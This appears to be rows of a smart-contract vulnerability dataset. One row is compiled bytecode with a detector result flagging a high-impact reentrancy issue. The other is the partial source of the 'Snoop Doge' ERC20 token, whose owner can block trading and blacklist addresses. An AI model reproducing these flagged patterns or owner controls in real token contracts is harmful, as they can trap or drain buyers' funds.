ffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181b9061384f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188b9061372f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197291906138af565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e69061380f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a569061368f565b60405180910390fd5b60008111611aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a99906137ef565b60405180910390fd5b611aaa610fe0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b185750611ae8610fe0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561205257601660149054906101000a900460ff16611ba757611b39610fe0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ba6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9d906136af565b60405180910390fd5b5b601754811115611bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be3906136ef565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c905750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc69061374f565b60405180910390fd5b6008544311158015611d2e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611d885750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611dc057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e1e576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ecb5760185481611e8084610d3e565b611e8a91906139e5565b10611eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec19061382f565b60405180910390fd5b5b6000611ed630610d3e565b9050600060195482101590506017548210611ef15760175491505b808015611f0b5750601660159054906101000a900460ff16155b8015611f655750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611f7b575060168054906101000a900460ff165b8015611fd15750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120275750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561204f5761203582612520565b6000479050600081111561204d5761204c476123b7565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120f95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806121ac5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156121ab5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156121ba5760009050612341565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156122655750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561227d57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123285750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561234057600b54600d81905550600c54600e819055505b5b61234d848484846127a8565b50505050565b600083831115829061239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612392919061366d565b60405180910390fd5b50600083856123aa9190613ac6565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124076002846127d590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612432573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124836002846127d590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124ae573d6000803e3d6000fd5b5050565b60006006548211156124f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f0906136cf565b60405180910390fd5b600061250361281f565b905061251881846127d590919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561255857612557613cd1565b5b6040519080825280602002602001820160405280156125865781602001602082028036833780820191505090505b509050308160008151811061259e5761259d613ca2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561264057600080fd5b505afa158015612654573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126789190613047565b8160018151811061268c5761268b613ca2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126f330601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117b4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127579594939291906138ca565b600060405180830381600087803b15801561277157600080fd5b505af1158015612785573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806127b6576127b561284a565b5b6127c184848461288d565b806127cf576127ce612a58565b5b50505050565b600061281783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a6c565b905092915050565b600080600061282c612acf565b9150915061284381836127d590919063ffffffff16565b9250505090565b6000600d5414801561285e57506000600e54145b156128685761288b565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061289f87612b31565b9550955095509550955095506128fd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b9990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061299285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612be390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129de81612c41565b6129e88483612cfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a4591906138af565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aaa919061366d565b60405180910390fd5b5060008385612ac29190613a3b565b9050809150509392505050565b600080600060065490506000683635c9adc5dea000009050612b05683635c9adc5dea000006006546127d590919063ffffffff16565b821015612b2457600654683635c9adc5dea00000935093505050612b2d565b81819350935050505b9091565b6000806000806000806000806000612b4e8a600d54600e54612d38565b9250925092506000612b5e61281f565b90506000806000612b718e878787612dce565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612bdb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612353565b905092915050565b6000808284612bf291906139e5565b905083811015612c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2e9061376f565b60405180910390fd5b8091505092915050565b6000612c4b61281f565b90506000612c628284612e5790919063ffffffff16565b9050612cb681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612be390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612d1382600654612b9990919063ffffffff16565b600681905550612d2e81600754612be390919063ffffffff16565b6007819055505050565b600080600080612d646064612d56888a612e5790919063ffffffff16565b6127d590919063ffffffff16565b90506000612d8e6064612d80888b612e5790919063ffffffff16565b6127d590919063ffffffff16565b90506000612db782612da9858c612b9990919063ffffffff16565b612b9990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612de78589612e5790919063ffffffff16565b90506000612dfe8689612e5790919063ffffffff16565b90506000612e158789612e5790919063ffffffff16565b90506000612e3e82612e308587612b9990919063ffffffff16565b612b9990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612e6a5760009050612ecc565b60008284612e789190613a6c565b9050828482612e879190613a3b565b14612ec7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ebe906137af565b60405180910390fd5b809150505b92915050565b6000612ee5612ee084613964565b61393f565b90508083825260208201905082856020860282011115612f0857612f07613d0a565b5b60005b85811015612f385781612f1e8882612f42565b845260208401935060208301925050600181019050612f0b565b5050509392505050565b600081359050612f51816141d1565b92915050565b600081519050612f66816141d1565b92915050565b60008083601f840112612f8257612f81613d05565b5b8235905067ffffffffffffffff811115612f9f57612f9e613d00565b5b602083019150836020820283011115612fbb57612fba613d0a565b5b9250929050565b600082601f830112612fd757612fd6613d05565b5b8135612fe7848260208601612ed2565b91505092915050565b600081359050612fff816141e8565b92915050565b600081359050613014816141ff565b92915050565b6000602082840312156130305761302f613d14565b5b600061303e84828501612f42565b91505092915050565b60006020828403121561305d5761305c613d14565b5b600061306b84828501612f57565b91505092915050565b6000806040838503121561308b5761308a613d14565b5b600061309985828601612f42565b92505060206130aa85828601612f42565b9150509250929050565b6000806000606084860312156130cd576130cc613d14565b5b60006130db86828701612f42565b93505060206130ec86828701612f42565b92505060406130fd86828701613005565b9150509250925092565b6000806040838503121561311e5761311d613d14565b5b600061312c85828601612f42565b925050602061313d85828601613005565b9150509250929050565b6000806000604084860312156131605761315f613d14565b5b600084013567ffffffffffffffff81111561317e5761317d613d0f565b5b61318a86828701612f6c565b9350935050602061319d86828701612ff0565b9150509250925092565b6000602082840312156131bd576131bc613d14565b5b600082013567ffffffffffffffff8111156131db576131da613d0f565b5b6131e784828501612fc2565b91505092915050565b60006020828403121561320657613205613d14565b5b600061321484828501612ff0565b91505092915050565b60006020828403121561323357613232613d14565b5b600061324184828501613005565b91505092915050565b6000806000806080858703121561326457613263613d14565b5b600061327287828801613005565b945050602061328387828801613005565b935050604061329487828801613005565b92505060606132a587828801613005565b91505092959194509250565b60006132bd83836132c9565b60208301905092915050565b6132d281613afa565b82525050565b6132e181613afa565b82525050565b60006132f2826139a0565b6132fc81856139c3565b935061330783613990565b8060005b8381101561333857815161331f88826132b1565b975061332a836139b6565b92505060018101905061330b565b5085935050505092915050565b61334e81613b0c565b82525050565b61335d81613b4f565b82525050565b61336c81613b61565b82525050565b600061337d826139ab565b61338781856139d4565b9350613397818560208601613b97565b6133a081613d19565b840191505092915050565b60006133b86023836139d4565b91506133c382613d2a565b604082019050919050565b60006133db603f836139d4565b91506133e682613d79565b604082019050919050565b60006133fe602a836139d4565b915061340982613dc8565b604082019050919050565b6000613421601c836139d4565b915061342c82613e17565b602082019050919050565b60006134446026836139d4565b915061344f82613e40565b604082019050919050565b60006134676022836139d4565b915061347282613e8f565b604082019050919050565b600061348a6023836139d4565b915061349582613ede565b604082019050919050565b60006134ad601b836139d4565b91506134b882613f2d565b602082019050919050565b60006134d06016836139d4565b91506134db82613f56565b602082019050919050565b60006134f36021836139d4565b91506134fe82613f7f565b604082019050919050565b60006135166020836139d4565b915061352182613fce565b602082019050919050565b60006135396029836139d4565b915061354482613ff7565b604082019050919050565b600061355c6025836139d4565b915061356782614046565b604082019050919050565b600061357f6023836139d4565b915061358a82614095565b604082019050919050565b60006135a26024836139d4565b91506135ad826140e4565b604082019050919050565b60006135c56028836139d4565b91506135d082614133565b604082019050919050565b60006135e86026836139d4565b91506135f382614182565b604082019050919050565b61360781613b38565b82525050565b61361681613b42565b82525050565b600060208201905061363160008301846132d8565b92915050565b600060208201905061364c6000830184613345565b92915050565b60006020820190506136676000830184613354565b92915050565b600060208201905081810360008301526136878184613372565b905092915050565b600060208201905081810360008301526136a8816133ab565b9050919050565b600060208201905081810360008301526136c8816133ce565b9050919050565b600060208201905081810360008301526136e8816133f1565b9050919050565b6000602082019050818103600083015261370881613414565b9050919050565b6000602082019050818103600083015261372881613437565b9050919050565b600060208201905081810360008301526137488161345a565b9050919050565b600060208201905081810360008301526137688161347d565b9050919050565b60006020820190508181036000830152613788816134a0565b9050919050565b600060208201905081810360008301526137a8816134c3565b9050919050565b600060208201905081810360008301526137c8816134e6565b9050919050565b600060208201905081810360008301526137e881613509565b9050919050565b600060208201905081810360008301526138088161352c565b9050919050565b600060208201905081810360008301526138288161354f565b9050919050565b6000602082019050818103600083015261384881613572565b9050919050565b6000602082019050818103600083015261386881613595565b9050919050565b60006020820190508181036000830152613888816135b8565b9050919050565b600060208201905081810360008301526138a8816135db565b9050919050565b60006020820190506138c460008301846135fe565b92915050565b600060a0820190506138df60008301886135fe565b6138ec6020830187613363565b81810360408301526138fe81866132e7565b905061390d60608301856132d8565b61391a60808301846135fe565b9695505050505050565b6000602082019050613939600083018461360d565b92915050565b600061394961395a565b90506139558282613bca565b919050565b6000604051905090565b600067ffffffffffffffff82111561397f5761397e613cd1565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006139f082613b38565b91506139fb83613b38565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a3057613a2f613c44565b5b828201905092915050565b6000613a4682613b38565b9150613a5183613b38565b925082613a6157613a60613c73565b5b828204905092915050565b6000613a7782613b38565b9150613a8283613b38565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613abb57613aba613c44565b5b828202905092915050565b6000613ad182613b38565b9150613adc83613b38565b925082821015613aef57613aee613c44565b5b828203905092915050565b6000613b0582613b18565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613b5a82613b73565b9050919050565b6000613b6c82613b38565b9050919050565b6000613b7e82613b85565b9050919050565b6000613b9082613b18565b9050919050565b60005b83811015613bb5578082015181840152602081019050613b9a565b83811115613bc4576000848401525b50505050565b613bd382613d19565b810181811067ffffffffffffffff82111715613bf257613bf1613cd1565b5b80604052505050565b6000613c0682613b38565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613c3957613c38613c44565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f46656573206d75737420626520756e6465722032352500000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460008201527f68616e20302e3125000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f7420736574206d61785478416d6f756e74206c6f7765722074686160008201527f6e20302e31250000000000000000000000000000000000000000000000000000602082015250565b6141da81613afa565b81146141e557600080fd5b50565b6141f181613b0c565b81146141fc57600080fd5b50565b61420881613b38565b811461421357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122010823df93e8ed9fc3f10c4d2819ce24b77a35a08525aad4e309b178e45f66f9964736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 9,896 |
0x442fb2461476a7642cf2e27474771c38db424eaa | /**
*Submitted for verification at Etherscan.io on 2022-04-20
*/
/**
!&@#Y~^^ 5Y77?JJJY55Y?~.
~P~:[email protected] .G&&&&@@@@&&@@@5
[email protected]#.:::!#7~: .J? ^5^. ^P?. .55^ .J5 ~P^ .GY^~!. [email protected]@B ^PJ: .?G?: ^ ^P!
:&J5&@@@@&&&&@@B! ^@@P:[email protected]@G [email protected]#@@? [email protected]&[email protected]@B :#@#[email protected]@7 :@@^!.7^ [email protected]@~ [email protected]@@Y ^@@7J#@&GB [email protected]&[email protected]&~
:@@P555B&[email protected]@Y [email protected] [email protected] &@J #@5 [email protected]& [email protected]& [email protected]# [email protected] :7J#@@^!.7~.::[email protected]@5 &@Y [email protected] [email protected]@ :@@ [email protected]?.
?B#&@[email protected]@7^@Y [email protected] [email protected] &@J #@5 [email protected]# [email protected]& [email protected] [email protected] [email protected]@@[email protected]@G #@Y [email protected] [email protected]@ :@@ [email protected]&:
J#&&@@@B5!:7G?^P7 #@P [email protected] @@G. &@5 [email protected]@: [email protected]& [email protected]&^[email protected] ^@#?5&JBY~:.^@@P &@B. #@P [email protected]@. [email protected]@ [email protected]# ..
&7..:!5BB&@@P^^ [email protected] [email protected]#^ ~Y#@#G?. ^[email protected]&GY^ [email protected]@#@B~ ~BGPBBB##&@@@#J: ~J#@#GJ. 7#@Y:[email protected] [email protected]@J:
.... .. . [email protected]# .~. .. .B#[email protected] .
:.?^ .PY?J5GJ:
https://t.me/snoopdogeerc
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SnoopDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Snoop Doge";
string private constant _symbol = "SNOOP";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 9;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xE62f2D28A0De7bDb4c4397ee91141C2A2fB43417);
address payable private _marketingAddress = payable(0xE62f2D28A0De7bDb4c4397ee91141C2A2fB43417);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
